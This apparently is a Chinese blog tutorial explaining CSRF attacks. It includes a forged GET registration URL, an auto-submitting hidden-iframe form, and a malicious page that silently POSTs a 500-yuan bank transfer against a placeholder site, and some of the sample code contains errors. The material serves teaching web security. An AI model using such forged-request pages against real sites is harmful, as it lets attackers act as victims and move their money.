【信息安全服务】深入学习CSRF-攻击篇

最新推荐文章于 2023-02-23 15:30:58 发布

Keyli0n

最新推荐文章于 2023-02-23 15:30:58 发布

阅读量328

点赞数 1

分类专栏：信息安全服务笔记及分享文章标签： CSRF WEB安全安全服务

本文链接：https://blog.csdn.net/keylion_/article/details/94223473

版权

信息安全服务笔记及分享专栏收录该内容

28 篇文章 29 订阅

订阅专栏

【CSRF简介】

CSRF（Cross Site Request Forgery）,即跨站点请求伪造。是一种常见的Web攻击手段。

CSRF危害性在于，攻击者可以通过精心设置的页面，诱使用户访问，通过GET或者POST请求以用户的身份在第三方站点进行非法操作。

【CSRF攻击本质】

CSRF攻击成功的重要原因就是重要操作的所有参数都是可以被攻击者猜测出来的。造成攻击者可以精心构造url来伪造一个访问请求，造成危害。

【CSRF 常见攻击方式】

【GET请求攻击】

GET请求应该是最普遍的了，一般甲方公司都对GET请求比较敏感,一般都在服务器端进行了请求方法限制，毕竟是最常见的攻击请求，应该给予基本的尊重。

常见的表单GET请求方式：

<form action="/register" id="register" method="post">
<input type=test name="username" value=""/>
<input type=password name="password" value=""/>
<input type=submit name="submit" value="submit"/>
</form>

用户通过构造GET请求：

http://host/register?username=test&password=passwd

在服务器端没有对GET方进行限制的情况下，请求会通过。

除此之外还可以构造form表单，利用JavaScript自动提交表单。例如，攻击者可以在www.xxx.com/test.html中编写以下代码：

<form action="http://www.xxx.com/register" id="register" methd="post" >
<input type=text name="username" value="" /> 
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>

攻击者通过将此页面隐藏在一个不可见的iframe窗口中，自动提交表单的整个过程将是不可见的。

【POST请求攻击】

一般在GET请求被限制的情况下可以另辟蹊径。利用POST请求去继续攻击。

首先识别网站的表单源码：

<form action="deal.jsp" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="deal" /></p>
</form>

构造恶意网站页面：

<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("deal");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="deal"
action="http://www.xxxx.com/deal.jsp">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="500">
</form>
</iframe>
</body>
</html>

通过恶意页面发送POST请求到该网站，假设构造的请求是转账操作，在理论上可以在不知情的情况下向攻击者转账500元。